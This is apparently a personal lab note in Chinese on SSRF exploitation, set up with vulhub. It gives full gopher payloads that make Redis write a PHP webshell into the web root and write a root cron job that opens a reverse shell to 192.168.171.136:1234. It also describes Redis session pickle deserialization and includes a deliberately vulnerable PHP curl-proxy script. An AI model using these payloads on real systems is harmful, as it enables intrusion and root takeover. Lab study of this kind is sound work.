1.SSRF的危害
SSRF(危害)利用方式方法:redis写shell,fastcgi写执行任意文件命令,
Redis写任务计划反弹shell:
redis写公钥:
redis结合python:后端用python,后端缓存用的redis的session,这种python会先将key进行序列化在存进redis里,读的时候拿着key取redis里读会进行一个反序列化,python的反序列化可以直接执行命令。如果session文件里写入一个序列化的恶意代码,然后把cookie写成session id ,再去访问的时候就会从redis里把session读出来,读的时候进行一个反序列化那么系统就会执行命令
2、Gopyer协议
2.1Gopher与Redis的利用
2.1.1将其写入网站根目录
解码:这其实就是Redis的内存数据落盘
Redis 将数据存储在内存中,因此当服务器重启时数据将会丢失,因为 RAM 是易失性存储,为了避免这个问题,Redis 具有持久性特性,它会将数据保存到硬盘上。
gopher://127.0.0.1:6379/_*1
$8
flushall //用于清空整个redis服务器的数据
*3
$3
set
$1
1
$20
<?php phpinfo();
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
Save
2.1.2Redis写任务计划反弹shell
解码:用root执行的反弹回去权限也是root权限
gopher://127.0.0.1:6379/_*1
$8
flushall
*3
$3
set
$1
1
$70
*/1 * * * * bash -c "sh -i >& /dev/tcp/192.168.171.136/1234 0>&1"
*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
Save
3、SSRF漏洞复现
3.1
3.1.1先docker 起一个干净的ubuntu
docker run -it --name t1 -p 127.0.0.1:12313:80 ubuntu
保证实验vps具有git、docker、pip、docker-compose、python基础环境
下载vulhub靶场资源
git clone https://github.com/vulhub/vulhub.git
找到fpm Fastcgi目录,一键搭建漏洞环境
docker-compose up -d
3.1.2然后在/var/www/html目录下创建
phpinfo.php
1.php
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);
?>
3.1.3用file去读任意文件,dict探测端口,
3.1.4用Gopher请求
二次编码后查看
这样就可以拿到id了
还有很多镜像都拉不起来,还在解决当中